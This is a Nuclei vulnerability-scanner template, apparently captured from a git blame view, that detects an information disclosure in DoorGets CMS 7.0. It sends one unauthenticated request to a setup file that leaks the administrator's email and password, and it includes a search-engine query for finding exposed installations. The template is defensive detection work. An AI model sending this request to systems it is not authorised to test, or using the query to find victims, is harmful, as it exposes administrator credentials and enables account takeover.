2023-10-17 07:20:28 +00:00
id : doorgets-info-disclosure
info :
name : DoorGets CMS v7.0 - Information Disclosure
author : r3Y3r53
severity : high
description : |
2023-10-17 17:52:26 +00:00
doorGets 7.0 has a sensitive information disclosure vulnerability in /setup/temp/admin.php. A remote unauthenticated attacker could exploit this vulnerability to obtain administrator's password.
2023-10-17 07:20:28 +00:00
reference :
- https://packetstormsecurity.com/files/174236/DoorGets-CMS-7.0-Information-Disclosure.html
- https://sourceforge.net/projects/doorgets-cms/files/latest/download?source=directory
2024-09-10 09:08:16 +00:00
classification :
cpe : cpe:2.3:a:doorgets:doorgets:*:*:*:*:*:*:*:*
2023-10-17 07:20:28 +00:00
metadata :
verified : true
max-request : 1
2024-09-10 08:22:50 +00:00
vendor : doorgets
2024-09-10 09:08:16 +00:00
product : doorgets
google-query : "Powered with doorGets ™"
2023-10-17 07:20:28 +00:00
tags : doorgets,cms,packetstorm,disclosure
http :
- method : GET
path :
- "{{BaseURL}}/v12/setup/temp/admin.php"
matchers-condition : and
matchers :
- type : word
part : body
words :
- ':"email";'
- ':"password";'
condition : and
- type : word
part : header
words :
- 'text/html'
- type : status
status :
- 200
2024-09-12 05:14:01 +00:00
# digest: 4a0a00473045022032e64dc6e978b11d1b51e39a59b3832209c520cff1b03f053c82f464ff4c49c30221009ad4a80536300d6aaaea87395c51319f0b4ca110b4c51781ae2f360b56464b4e:922c64590222798bb761d5b6d8e72950
